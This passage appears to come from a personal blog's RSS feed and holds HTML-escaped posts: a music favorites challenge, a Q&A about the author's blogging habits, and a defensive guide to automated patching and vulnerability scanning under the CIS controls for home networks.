&lt;p&gt;Here are the &lt;strong&gt;10&lt;/strong&gt; questions that make up the “&lt;strong&gt;Music Questions Challenge&lt;/strong&gt;”.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;#what-are-five-of-your-favorite-albums&quot;&gt;What are five of your favorite albums?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#what-are-five-of-your-favorite-songs&quot;&gt;What are five of your favorite songs?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#favorite-instruments&quot;&gt;Favorite Instrument(s)?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#what-song-or-album-are-you-current-listening-to&quot;&gt;What song or album are you current listening to?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#do-you-listen-to-the-radio-if-so-how-often&quot;&gt;Do you listen to the radio? If so, how often?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#how-often-do-you-listen-to-music&quot;&gt;How often do you listen to music?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#how-often-do-you-discover-music-and-how-do-you-discover-music&quot;&gt;How often do you discover music? And how do you discover music?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#what-song-or-album-are-you-current-listening-to&quot;&gt;What’s a song or album that you enjoy that you wish had more recognition?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#whats-your-favourite-song-of-all-time&quot;&gt;What’s your favourite song of all time?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#has-your-taste-in-music-evolved-over-the-years&quot;&gt;Has your taste in music evolved over the years?&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;what-are-five-of-your-favorite-albums&quot;&gt;What are five of your favorite albums?&lt;/h1&gt;

&lt;p&gt;I recently wrote about my “&lt;a href=&quot;https://shellsharks.com/notes/2024/09/13/zero-skip-albums&quot;&gt;Zero-skip albums&lt;/a&gt;”, but though I like each song on those albums, that doesn’t &lt;em&gt;necessarily&lt;/em&gt; make them my favorite. Though there is plenty of cross-over between that list and the one below. Here’s my five favorites (in no particular order)…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://album.link/us/i/528436018&quot;&gt;Hybrid Theory&lt;/a&gt;, &lt;strong&gt;Linkin Park&lt;/strong&gt;: &lt;strong&gt;THE&lt;/strong&gt; formative music for me. I still love it the same as I did in like middle school.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://album.link/us/i/1463553489&quot;&gt;A Night at the Opera&lt;/a&gt;, &lt;strong&gt;Blind Guardian&lt;/strong&gt;: If you like power metal (and you should), &lt;em&gt;this&lt;/em&gt; is the band you should listen to. This album is haunting and beautiful.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://album.link/us/i/365400149&quot;&gt;In Keeping Secrets of Silent Earth: 3&lt;/a&gt;, &lt;strong&gt;Coheed and Cambria&lt;/strong&gt;: First heard this in highschool. Coheed is one of my favorite artists of all time and this is my favorite of their albums.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://album.link/us/i/1612119036&quot;&gt;Jackpot Juicer&lt;/a&gt;, &lt;strong&gt;Dance Gavin Dance&lt;/strong&gt;: I love every song on this album just-about. It’s one of my go-tos for working out too.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://album.link/us/i/1049014094&quot;&gt;Close to the Edge&lt;/a&gt;, &lt;strong&gt;Yes&lt;/strong&gt;: I went through a &lt;em&gt;big&lt;/em&gt; Yes phase around my college years. This album was on constant repeat. I don’t listen to it nearly as much nowadays, but it forever remains in my top albums list.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Some honorable mentions…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://album.link/us/i/1049017157&quot;&gt;The Yes Album&lt;/a&gt;, Yes&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://album.link/us/i/104575301&quot;&gt;Us Against the Crown&lt;/a&gt;, State Radio&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://album.link/us/i/192898041&quot;&gt;Gravity&lt;/a&gt;, Our Lady Peace&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://album.link/us/i/158537764&quot;&gt;Happiness…Is Not a Fish That You Can Catch&lt;/a&gt;, Our Lady Peace&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://album.link/us/i/1440736868&quot;&gt;Deloused in the Comatorium&lt;/a&gt;, The Mars Volta&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://album.link/us/i/1647226960&quot;&gt;Treehouse&lt;/a&gt;, I See Stars&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://album.link/us/i/1030144485&quot;&gt;Believe&lt;/a&gt;, Disturbed&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://album.link/us/i/617154241&quot;&gt;Random Access Memories&lt;/a&gt;, Daft Punk&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://album.link/us/i/1500769750&quot;&gt;The Afterman: Descension&lt;/a&gt;, Coheed and Cambria&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://album.link/us/i/266363140&quot;&gt;No World for Tomorrow&lt;/a&gt;, Coheed and Cambria&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://album.link/us/i/307654866&quot;&gt;Good Apollo I’m Burning Star IV&lt;/a&gt;, Coheed and Cambria&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://album.link/us/i/1440871444&quot;&gt;Saturate&lt;/a&gt;, Breaking Benjamin&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://album.link/us/i/187454164&quot;&gt;Make Yourself&lt;/a&gt;, Incubus&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;what-are-five-of-your-favorite-songs&quot;&gt;What are five of your favorite songs?&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;Ooph&lt;/em&gt;, choosing just five is tough. But here goes… (will save my #1 favorite &lt;a href=&quot;#whats-your-favourite-song-of-all-time&quot;&gt;for later&lt;/a&gt;, so there’s a bonus here.)&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://song.link/us/i/579377477&quot;&gt;No Leaf Clover&lt;/a&gt;, &lt;strong&gt;Metallica&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://song.link/us/i/365400459&quot;&gt;In Keeping Secrets of Silent Earth: 3&lt;/a&gt;, &lt;strong&gt;Coheed and Cambria&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://song.link/us/i/1389971322&quot;&gt;Civil War&lt;/a&gt;, &lt;strong&gt;Guns &amp;amp; Roses&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://song.link/us/i/1460726104&quot;&gt;And Then There Was Silence&lt;/a&gt;, &lt;strong&gt;Blind Guardian&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://song.link/us/i/604865358&quot;&gt;Close to the Edge&lt;/a&gt;, &lt;strong&gt;Yes&lt;/strong&gt; (The &lt;a href=&quot;https://album.link/us/i/604864905&quot;&gt;Yessongs&lt;/a&gt; &lt;em&gt;Live&lt;/em&gt; version)&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;favorite-instruments&quot;&gt;Favorite Instrument(s)?&lt;/h1&gt;

&lt;p&gt;I guess probably &lt;strong&gt;guitar&lt;/strong&gt;.&lt;/p&gt;

&lt;h1 id=&quot;what-song-or-album-are-you-current-listening-to&quot;&gt;What song or album are you current listening to?&lt;/h1&gt;

&lt;p&gt;Most recently I’ve been listening to the Weeknd’s new album, &lt;strong&gt;&lt;a href=&quot;https://album.link/us/i/1793654348&quot;&gt;Hurry Up Tomorrow&lt;/a&gt;&lt;/strong&gt;. But since writing this piece I’ve been listening to various of my favorites listed throughout this piece. At this &lt;em&gt;exact&lt;/em&gt; moment, I’m listening to &lt;a href=&quot;https://song.link/us/i/604865358&quot;&gt;Close To The Edge&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;do-you-listen-to-the-radio-if-so-how-often&quot;&gt;Do you listen to the radio? If so, how often?&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Nope.&lt;/strong&gt; Though I do listen to Apple Music “radio stations” from time to time to &lt;a href=&quot;#how-often-do-you-discover-music-and-how-do-you-discover-music&quot;&gt;discover new music&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;how-often-do-you-listen-to-music&quot;&gt;How often do you listen to music?&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Every day&lt;/strong&gt;, multiple times a day. I’ll listen to music while I work, while I clean up around the house, and (&lt;em&gt;loudly&lt;/em&gt;) when I work out.&lt;/p&gt;

&lt;h1 id=&quot;how-often-do-you-discover-music-and-how-do-you-discover-music&quot;&gt;How often do you discover music? And how do you discover music?&lt;/h1&gt;

&lt;p&gt;Not as often as I should. I go through spurts of discovery a few times a year at best. I primarly discover music through Apple Music stations that I create based on other music I like. Though I’ve been increasingly discovering music via social media. Shoutout to &lt;a href=&quot;https://dmv.community/@jcrabapple&quot;&gt;@jcrabapple&lt;/a&gt;!&lt;/p&gt;

&lt;h1 id=&quot;whats-a-song-or-album-that-you-enjoy-that-you-wish-had-more-recognition&quot;&gt;What’s a song or album that you enjoy that you wish had more recognition?&lt;/h1&gt;

&lt;p&gt;This is an interesting question for me. Honestly I don’t have a great sense of what songs/albums/artists have what recognition. The album &lt;strong&gt;&lt;a href=&quot;https://album.link/us/i/1443510204&quot;&gt;From One&lt;/a&gt;&lt;/strong&gt; by &lt;strong&gt;Ra&lt;/strong&gt; is amazing and I really have never heard of anyone talk about this artist before. &lt;em&gt;Go listen to it!&lt;/em&gt;&lt;/p&gt;

&lt;h1 id=&quot;whats-your-favourite-song-of-all-time&quot;&gt;What’s your favourite song of all time?&lt;/h1&gt;

&lt;p&gt;This one was painfully tough. But I gotta go with &lt;strong&gt;&lt;a href=&quot;https://song.link/us/i/580708180&quot;&gt;Stairway&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;h1 id=&quot;has-your-taste-in-music-evolved-over-the-years&quot;&gt;Has your taste in music evolved over the years?&lt;/h1&gt;

&lt;p&gt;In some ways yes, in other ways eh… I have a huge music library and enjoy &lt;em&gt;a lot&lt;/em&gt; of different things. But when it comes to music I &lt;em&gt;actually&lt;/em&gt; put on and listen to, my taste has been the same for a decent while now. I previously wrote about &lt;a href=&quot;https://shellsharks.com/notes/2024/05/15/nostalgia-music&quot;&gt;music that is particularly nostalgic for me&lt;/a&gt;, but this doesn’t necssarily reflect all I was listening to throughout the years. An attempt to “sum up” my music taste(s) throughout the years is below…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Pre-High School&lt;/strong&gt;: Linkin Park, Papa Roach and similar stuff.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;High School&lt;/strong&gt;: Coheed and Cambria, In Flames, other death metal, Led Zeppelin, Lots of classic rock&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;College&lt;/strong&gt;: Yes, State Radio&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Post-College-Now&lt;/strong&gt;: I find myself listening to a lot of rock and metal, so pretty similar to how it’s always beeen. Notably less classic rock in my routine listening fwiw.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr width=&quot;50%&quot; /&gt;

&lt;p&gt;Next up, I challenge/tag &lt;a href=&quot;https://mkultra.monster&quot;&gt;CMDR Nova&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://www.vzqk50.com/whoami/&quot;&gt;Apis Necros&lt;/a&gt;!&lt;/p&gt;
</description>
        <pubDate>Tue, 04 Feb 2025 08:47:00 -0500</pubDate>
        <link>https://shellsharks.com/music-questions-challenge</link>
        <guid isPermaLink="true">https://shellsharks.com/music-questions-challenge</guid>
        
        <category>life</category>
        
        <category>music</category>
        
        <category>challenge</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Get To Know My Blog</title>
        <shark:summary><p>The <a href="https://ioc.exchange/@ApisNecros/113833409964078903">gauntlet was thrown</a>, and I’ve answered. Get to know a little bit more about my blog as I answer these 8 <a href="#blog-challenge-questions">questions</a>. (<em>Courtesy of <a href="https://vzqk50.com/blog/get-to-know-my-blog/">The Hive</a></em>)</p>
</shark:summary>
        <description>&lt;p&gt;The &lt;a href=&quot;https://ioc.exchange/@ApisNecros/113833409964078903&quot;&gt;gauntlet was thrown&lt;/a&gt;, and I’ve answered. Get to know a little bit more about my blog as I answer these 8 &lt;a href=&quot;#blog-challenge-questions&quot;&gt;questions&lt;/a&gt;. (&lt;em&gt;Courtesy of &lt;a href=&quot;https://vzqk50.com/blog/get-to-know-my-blog/&quot;&gt;The Hive&lt;/a&gt;&lt;/em&gt;)&lt;/p&gt;

&lt;h1 id=&quot;blog-challenge-questions&quot;&gt;Blog Challenge Questions&lt;/h1&gt;
&lt;p&gt;Here are the 8 questions that make up the “&lt;strong&gt;Blog Questions Challenge&lt;/strong&gt;”&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Why did you start blogging in the first place?&lt;/li&gt;
  &lt;li&gt;What platform are you using to manage your blog and why did you choose it?&lt;/li&gt;
  &lt;li&gt;Have you blogged on other platforms before?&lt;/li&gt;
  &lt;li&gt;How do you write your posts? For example, in a local editing tool, or in a panel/dashboard that’s part of your blog?&lt;/li&gt;
  &lt;li&gt;When do you feel most inspired to write?&lt;/li&gt;
  &lt;li&gt;Do you publish immediately after writing, or do you let it simmer a bit as a draft?&lt;/li&gt;
  &lt;li&gt;What’s your favourite post on your blog?&lt;/li&gt;
  &lt;li&gt;Any future plans for your blog? Maybe a redesign, a move to another platform, or adding a new feature?&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;why-did-i-start-blogging&quot;&gt;Why did I start blogging?&lt;/h2&gt;

&lt;p&gt;I’ve talked about this &lt;a href=&quot;https://shellsharks.com/you-should-blog#historical-context&quot;&gt;here&lt;/a&gt;. Basically, I had a good &lt;a href=&quot;https://shellsharks.com/getting-into-information-security#title&quot;&gt;idea&lt;/a&gt; or &lt;a href=&quot;https://shellsharks.com/designer-vulnerabilities#title&quot;&gt;two&lt;/a&gt; of things to write about, and thought maybe more things would come…&lt;/p&gt;

&lt;p&gt;Better question is why do I &lt;em&gt;keep&lt;/em&gt; blogging. &lt;a href=&quot;https://shellsharks.com/you-should-blog&quot;&gt;So many reasons&lt;/a&gt;!&lt;/p&gt;

&lt;h2 id=&quot;what-platform-am-i-using&quot;&gt;What platform am I using?&lt;/h2&gt;

&lt;p&gt;I cover this in my &lt;a href=&quot;https://shellsharks.com/architecture&quot;&gt;/architecture&lt;/a&gt; page! Honestly, I think the reason I chose &lt;a href=&quot;https://docs.github.com/en/pages/setting-up-a-github-pages-site-with-jekyll&quot;&gt;GitHub Pages + Jekyll&lt;/a&gt; was that it was easy and the first thing I came across that seemed easy. I had tried (and failed) to stand up a blog in the past. I needed something low-effort, that would allow me to just write and publish. If I was setting something up &lt;em&gt;today&lt;/em&gt;, would I still choose Jekyll+GH Pages? I actually &lt;em&gt;might&lt;/em&gt;. It’s been really great to be honest. But there are a lot of &lt;a href=&quot;https://shellsharks.com/indieweb#hosting&quot;&gt;great options&lt;/a&gt; I’d also consider.&lt;/p&gt;

&lt;h2 id=&quot;have-i-blogged-on-other-platforms&quot;&gt;Have I blogged on other platforms?&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Barely&lt;/em&gt;. At one point I owned the “techfari.com” domain and wrote one post on Medium. I forget what it was even about.&lt;/p&gt;

&lt;h2 id=&quot;how-do-i-write-my-posts&quot;&gt;How do I write my posts?&lt;/h2&gt;

&lt;p&gt;I’ve published a few things about how I write…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/multiplicity-of-writing&quot;&gt;A Multiplicity of Writing&lt;/a&gt;: A look at the different types of content I publish here.&lt;/li&gt;
  &lt;li&gt;My &lt;a href=&quot;https://shellsharks.com/blogging-methodology&quot;&gt;blogging methodology&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;My &lt;a href=&quot;https://shellsharks.com/blogging-from-ipad&quot;&gt;process for writing&lt;/a&gt; when I was a little more iPad-forward&lt;/li&gt;
  &lt;li&gt;I’ve discussed how I write in my &lt;a href=&quot;https://shellsharks.com/architecture&quot;&gt;architecture&lt;/a&gt; page too&lt;/li&gt;
  &lt;li&gt;Finally, perusing my &lt;a href=&quot;https://shellsharks.com/uses&quot;&gt;/uses&lt;/a&gt; page will give you a pretty good understanding of my setup and what I use to do what I do&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But in short, as of right now, I write everything in VSCode.&lt;/p&gt;

&lt;h2 id=&quot;when-do-i-feel-most-inpsired&quot;&gt;When do I feel most inpsired?&lt;/h2&gt;

&lt;p&gt;Honestly I think it’s in moments like these, when I am writing in &lt;strong&gt;response&lt;/strong&gt; to something. Maybe i’m commenting on another blog post, or maybe it’s in response to a thread I’ve seen elsewhere, or a question someone has asked. In those pieces, what I write has a &lt;em&gt;purpose&lt;/em&gt;.&lt;/p&gt;

&lt;h2 id=&quot;do-i-publish-immediately&quot;&gt;Do I publish immediately?&lt;/h2&gt;

&lt;p&gt;Pretty much. I don’t like to spend time writing something only to have it sit and waste away. I &lt;em&gt;always&lt;/em&gt; reserve the right to delete, or update things I’ve published. In fact, updating/adding stuff to existing posts is something I do &lt;em&gt;all the time&lt;/em&gt;. I consider very little of what I write to be true point-in-time thinking. Instead, these are all resources to me (and maybe others), so I want things to be updated with the latest and greatest facts and thoughts.&lt;/p&gt;

&lt;h2 id=&quot;whats-my-favorite-post-on-my-site&quot;&gt;What’s my favorite post on my site?&lt;/h2&gt;

&lt;p&gt;Great question. Tough one. Really hard to pick for me. I’d say my favorite blog post is “&lt;a href=&quot;https://shellsharks.com/threat-modeling#title&quot;&gt;The Enchiridion of Impetus Exemplar&lt;/a&gt;”, my threat modeling compendium. I use it as a resource for myself all, the, time. But I love so much about my site, it’s very uniquely &lt;em&gt;me&lt;/em&gt;. It’s filled with all sorts of oddities that I honestly love equally. Another page I particularly like is my &lt;a href=&quot;https://shellsharks.com/activity&quot;&gt;Activity Feed&lt;/a&gt; page.&lt;/p&gt;

&lt;h2 id=&quot;do-i-have-future-plans&quot;&gt;Do I have future plans?&lt;/h2&gt;

&lt;p&gt;Of course I do! I’ve (unsurprisingly) documented a lot of my future plans, hopes, dreams, etc… in various places on my site…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/roadmap&quot;&gt;Roadmap&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/ideas#site&quot;&gt;Ideas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;“&lt;a href=&quot;https://shellsharks.com/architecture#architectural-invariants-concerns-future-items&quot;&gt;Future items&lt;/a&gt;”&lt;/li&gt;
  &lt;li&gt;Various yearly &lt;a href=&quot;https://shellsharks.com/captains-log/2023/12/30/log#shellsharks-resolutions&quot;&gt;resolutions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you’re reading this and have a blog, why not answer these questions yourself! If you don’t, maybe it’s &lt;a href=&quot;https://shellsharks.com/you-should-blog&quot;&gt;time you start one&lt;/a&gt; 🤗.&lt;/p&gt;
</description>
        <pubDate>Wed, 15 Jan 2025 15:02:00 -0500</pubDate>
        <link>https://shellsharks.com/get-to-know-my-blog</link>
        <guid isPermaLink="true">https://shellsharks.com/get-to-know-my-blog</guid>
        
        <category>technology</category>
        
        <category>indieweb</category>
        
        <category>blogging</category>
        
        <category>blogchallenge</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>CSC at Home (Part 3): Vulnerability Management</title>
        <shark:summary><p>Welcome to part 3 of the <a href="https://shellsharks.com/csc-at-home-part-1">CSC at Home</a> series where I provide practical guidance on how one could implement the <a href="https://www.cisecurity.org/controls/">CIS Top 20 controls</a> in their home or small-business environment.</p>
</shark:summary>
        <description>&lt;p&gt;Welcome to part 3 of the &lt;a href=&quot;https://shellsharks.com/csc-at-home-part-1&quot;&gt;CSC at Home&lt;/a&gt; series where I provide practical guidance on how one could implement the &lt;a href=&quot;https://www.cisecurity.org/controls/&quot;&gt;CIS Top 20 controls&lt;/a&gt; in their home or small-business environment.&lt;/p&gt;

&lt;div class=&quot;containbox&quot;&gt;This post, as part of a 3-part series are all pieces I had sitting in my drafts folder since the beginning of 2021. As such, they cover a version of the CIS Critical Security Controls that is rather old at this point. Still, I thought the content relevant and interesting enough to publish (as-was), even after all these years. Let me know what you think!&lt;/div&gt;

&lt;h1 id=&quot;cis-control-3-continuous-vulnerability-management&quot;&gt;CIS Control 3: Continuous Vulnerability Management&lt;/h1&gt;
&lt;p&gt;CIS Control 3 is &lt;em&gt;Continuous Vulnerability Management&lt;/em&gt;, proactively identifying and addressing vulnerabilities across the systems in your environment on a continuous basis. The sub-controls for IG-1-class organizations related to this control are listed below. Specifically, these sub-controls are 3.4 and 3.5. Also included in the list below are controls 3.1 and 3.2 which ask that automated vulnerability scanning is performed and that these scans are run as credentialed scans. I’ve included these two additional controls as I consider them to be that important, even for small organizations. Not only do I consider these extra two controls important, but I believe they are trivial to perform given you have successfully achieved the first two controls.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;*&lt;strong&gt;Sub-Control 3.1&lt;/strong&gt;: &lt;a href=&quot;#run-automated-vulnerability-scanning-tools-sub-control-31&quot;&gt;Run Automated Vulnerability Scanning Tools&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;*&lt;strong&gt;Sub-Control 3.2&lt;/strong&gt;: &lt;a href=&quot;#perform-authenticated-vulnerability-scanning-sub-control-32&quot;&gt;Perform Authenticated Vulnerability Scanning&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Sub-Control 3.4&lt;/strong&gt;: &lt;a href=&quot;#deploy-automated-operating-system-patch-management-tools-sub-control-34&quot;&gt;Deploy Automated Operating System Patch Management Tools&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Sub-Control 3.5&lt;/strong&gt;: &lt;a href=&quot;#deploy-automated-software-patch-management-tools-sub-control-35&quot;&gt;Deploy Automated Software Patch Management Tools&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;security-value&quot;&gt;Security Value&lt;/h2&gt;

&lt;p&gt;Software and firmware are constantly being updated by their respective vendors. The focus of many of these updates are not feature improvements, rather they are security fixes. No further elaboration is needed, it’s always a good idea to apply security fixes when they become available. To aid in finding missing patches as well as other security flaws such as misconfigurations, we have vulnerability scanners. Sub-control’s 3.1 and 3.2 ask that you scan systems in your environment in an automated, routine and credentialed fashion. Credentialed scans will yield the most comprehensive and high fidelity results, and performing this type of scanning on a frequent automated basis will help ensure that as new vulnerabilities or misconfigurations crop up, they are dealt with with the shortest possible dwell time.&lt;/p&gt;

&lt;h2 id=&quot;deploy-automated-operating-system-patch-management-tools-sub-control-34&quot;&gt;Deploy Automated Operating System Patch Management Tools (Sub-Control 3.4)&lt;/h2&gt;

&lt;p&gt;Sub-control 3.4 asks that an organization deploy automated software update tools. This section will briefly explain how this can be done for both Windows and Linux operating systems.&lt;/p&gt;

&lt;h3 id=&quot;windows-os-updates&quot;&gt;Windows OS Updates&lt;/h3&gt;

&lt;p&gt;For Windows systems, a popular PowerShell module exists which allows easy automation of Windows updates. This module is called &lt;a href=&quot;https://www.powershellgallery.com/packages/PSWindowsUpdate/2.2.0.2&quot;&gt;PSWindowsUpdate&lt;/a&gt;. The only requirements for running this PS module is that the host OS be at-least Vista or Server 2008 and that it is running PowerShell 2.0 or later. For an introductory guide to automating Windows updates using this module, check out the following article.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.nakivo.com/blog/automate-windows-updates-using-powershell-short-overview/&quot;&gt;How to Automate Windows Updates Using PowerShell: Short Overview&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;linux-os-updates&quot;&gt;Linux OS Updates&lt;/h3&gt;

&lt;p&gt;Similarly on Linux, it is easy enough to deploy automated patching. The &lt;a href=&quot;https://wiki.debian.org/UnattendedUpgrades&quot;&gt;UnattendedUpgrades&lt;/a&gt; package does exactly this! Please reference the guide below for additional help with installation and configuration of this package for automatic OS updates.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://help.ubuntu.com/community/AutomaticSecurityUpdates&quot;&gt;AutomaticSecurityUpdates&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;deploy-automated-software-patch-management-tools-sub-control-35&quot;&gt;Deploy Automated Software Patch Management Tools (Sub-Control 3.5)&lt;/h2&gt;

&lt;p&gt;Sub-control 3.5 asks that an organization deploy automated &lt;em&gt;software&lt;/em&gt; update tools in order to ensure that operating systems are running the most recent security updates provided by the software vendor. How this can be accomplished for both Windows and Linux systems is described in greater detail below.&lt;/p&gt;

&lt;h3 id=&quot;windows-software-updates&quot;&gt;Windows Software Updates&lt;/h3&gt;

&lt;p&gt;Windows doesn’t come with a native software package manager like Linux systems. By default, keeping any given piece of software up-to-date on your system requires that for each piece of software, a setting is enabled which allows for automatic installation of new updates from that respective vendor. With this said, a package manager for Windows &lt;em&gt;does&lt;/em&gt; exist and can be installed in order to better facilitate automated and centralized software management. For this, I recommend the package management software “&lt;a href=&quot;https://chocolatey.org&quot;&gt;Chocolatey&lt;/a&gt;”. &lt;a href=&quot;https://chocolatey.org/install&quot;&gt;Installing Chocolatey&lt;/a&gt; is as simple as running a few commands in a PowerShell terminal! From here, there are &lt;a href=&quot;https://chocolatey.org/courses&quot;&gt;step-by-step guides&lt;/a&gt; for doing all things the Chocolatey way.&lt;/p&gt;

&lt;h3 id=&quot;linux-software-updates&quot;&gt;Linux Software Updates&lt;/h3&gt;

&lt;p&gt;The &lt;a href=&quot;https://wiki.debian.org/UnattendedUpgrades&quot;&gt;UnattendedUpgrades&lt;/a&gt; module introduced in the section “&lt;a href=&quot;#linux-os-updates&quot;&gt;Linux OS Updates&lt;/a&gt;” is all that is needed to also manage automated software updates in Linux.&lt;/p&gt;

&lt;h2 id=&quot;run-automated-vulnerability-scanning-tools-sub-control-31&quot;&gt;Run Automated Vulnerability Scanning Tools (Sub-Control 3.1)&lt;/h2&gt;
&lt;p&gt;Sub-control 3.1 asks that all systems on the network be automatically scanned on at least a weekly basis to identify potential vulnerabilities.&lt;/p&gt;

&lt;h2 id=&quot;perform-authenticated-vulnerability-scanning-sub-control-32&quot;&gt;Perform Authenticated Vulnerability Scanning (Sub-Control 3.2)&lt;/h2&gt;
&lt;p&gt;Sub-control 3.2 asks that vulnerability scans that are performed are done as &lt;em&gt;authenticated&lt;/em&gt; (a.k.a. “credentialed”) scans.&lt;/p&gt;

&lt;h1 id=&quot;previously-in-the-series&quot;&gt;Previously in the Series&lt;/h1&gt;

&lt;p&gt;The previous chapter in the &lt;em&gt;CIS at Home&lt;/em&gt; series covers &lt;strong&gt;Control 2&lt;/strong&gt;: &lt;a href=&quot;https://shellsharks.com/csc-at-home-part-2#title&quot;&gt;Inventory and Control of Software Assets&lt;/a&gt;.&lt;/p&gt;
</description>
        <pubDate>Mon, 13 May 2024 09:14:00 -0400</pubDate>
        <link>https://shellsharks.com/csc-at-home-part-3</link>
        <guid isPermaLink="true">https://shellsharks.com/csc-at-home-part-3</guid>
        
        <category>infosec</category>
        
        <category>cis</category>
        
        <category>csc</category>
        
        <category>openvas</category>
        
        <category>vm</category>
        
        <category>scanning</category>
        
        <category>blopomo</category>
        
        <category>weblogpomo2024</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>CSC at Home (Part 2): Software Inventory and Control</title>
        <shark:summary><p>Welcome to part 2 of my <a href="https://shellsharks.com/csc-at-home-part-1">CSC at Home</a> series where I provide practical guidance on how one could implement the <a href="https://www.cisecurity.org/controls/">CIS Top 20 controls</a> in their home or small-business environment.</p>
</shark:summary>
        <description>&lt;p&gt;Welcome to part 2 of my &lt;a href=&quot;https://shellsharks.com/csc-at-home-part-1&quot;&gt;CSC at Home&lt;/a&gt; series where I provide practical guidance on how one could implement the &lt;a href=&quot;https://www.cisecurity.org/controls/&quot;&gt;CIS Top 20 controls&lt;/a&gt; in their home or small-business environment.&lt;/p&gt;

&lt;div class=&quot;containbox&quot;&gt;This post, as part of a 3-part series are all pieces I had sitting in my drafts folder since the beginning of 2021. As such, they cover a version of the CIS Critical Security Controls that is rather old at this point. Still, I thought the content relevant and interesting enough to publish (as-was), even after all these years. Let me know what you think!&lt;/div&gt;

&lt;h1 id=&quot;cis-control-2-inventory-and-control-of-software-assets&quot;&gt;CIS Control 2: Inventory and Control of Software Assets&lt;/h1&gt;

&lt;p&gt;The second CIS control is reminiscent of &lt;a href=&quot;https://shellsharks.com/csc-at-home-part-1#title&quot;&gt;the first&lt;/a&gt;. Rather than hardware inventory however, this control deals with the inventory and control specifically of &lt;em&gt;software&lt;/em&gt;. The relevant sub-controls for an Implementation Group 1 (IG1) environment are listed below.&lt;/p&gt;

&lt;ul&gt;
